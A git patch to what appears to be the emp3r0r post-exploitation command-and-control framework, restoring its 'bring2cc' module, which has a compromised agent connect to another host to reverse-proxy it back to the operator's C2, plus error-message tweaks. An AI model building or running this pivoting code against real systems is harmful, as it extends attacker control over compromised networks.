From ec115249ff8b53499dc97010220eda577b78e81c Mon Sep 17 00:00:00 2001
From: jm33-m0 <jm33@jm33.me>
Date: Mon, 30 Dec 2024 11:48:14 +1100
Subject: [PATCH] fix: `bring2cc` accidentally disabled

---
 core/lib/agent/c2cmds.go |  2 +-
 core/lib/cc/modRproxy.go | 15 ++++++++++++---
 core/lib/data/config.go  |  2 +-
 3 files changed, 14 insertions(+), 5 deletions(-)

diff --git a/core/lib/agent/c2cmds.go b/core/lib/agent/c2cmds.go
index 8d1a8c798..bae88352d 100644
--- a/core/lib/agent/c2cmds.go
+++ b/core/lib/agent/c2cmds.go
@@ -60,7 +60,7 @@ func C2CommandsHandler(cmdSlice []string) (out string) {
 		addr := flags.StringP("addr", "a", "", "Target agent IP address")
 		flags.Parse(cmdSlice[1:])
 		if *addr == "" {
-			out = fmt.Sprintf("Error args error: %v", cmdSlice)
+			out = fmt.Sprintf("Error no address: %v", cmdSlice)
 			return
 		}
 		out = fmt.Sprintf("Bring2CC: Reverse proxy for %s finished", *addr)
diff --git a/core/lib/cc/modRproxy.go b/core/lib/cc/modRproxy.go
index ae9907ddf..91366b7fe 100644
--- a/core/lib/cc/modRproxy.go
+++ b/core/lib/cc/modRproxy.go
@@ -3,10 +3,19 @@
 
 package cc
 
-func moduleBring2CC() {
-	addr := Options["addr"].Val
+import (
+	"fmt"
 
-	// start a Shadowsocks TCP tunnel that forwards our local socks5 proxy server to the target's AutoProxy port
+	emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
+)
 
+func moduleBring2CC() {
+	addr := Options["addr"].Val
+	cmd := fmt.Sprintf("%s --addr %s", emp3r0r_data.C2CmdBring2CC, addr)
+	err := SendCmd(cmd, "", CurrentTarget)
+	if err != nil {
+		CliPrintError("SendCmd: %v", err)
+		return
+	}
 	CliPrintInfo("agent %s is connecting to %s to proxy it out to C2", CurrentTarget.Tag, addr)
 }
diff --git a/core/lib/data/config.go b/core/lib/data/config.go
index 105fb70b9..48b6d40c9 100644
--- a/core/lib/data/config.go
+++ b/core/lib/data/config.go
@@ -17,7 +17,7 @@ func ReadJSONConfig(jsonData []byte, config_to_write *Config) (err error) {
 	calculateReverseProxyPort := func() string {
 		p, err := strconv.Atoi(config_to_write.Emp3r0rProxyServerPort)
 		if err != nil {
-			log.Printf("WTF? ProxyPort %s: %v", config_to_write.Emp3r0rProxyServerPort, err)
+			log.Printf("WTF? Emp3r0rProxyPort %s: %v. Invalid JSON config, perhaps start over with a new config file?", config_to_write.Emp3r0rProxyServerPort, err)
 			return "22222"
 		}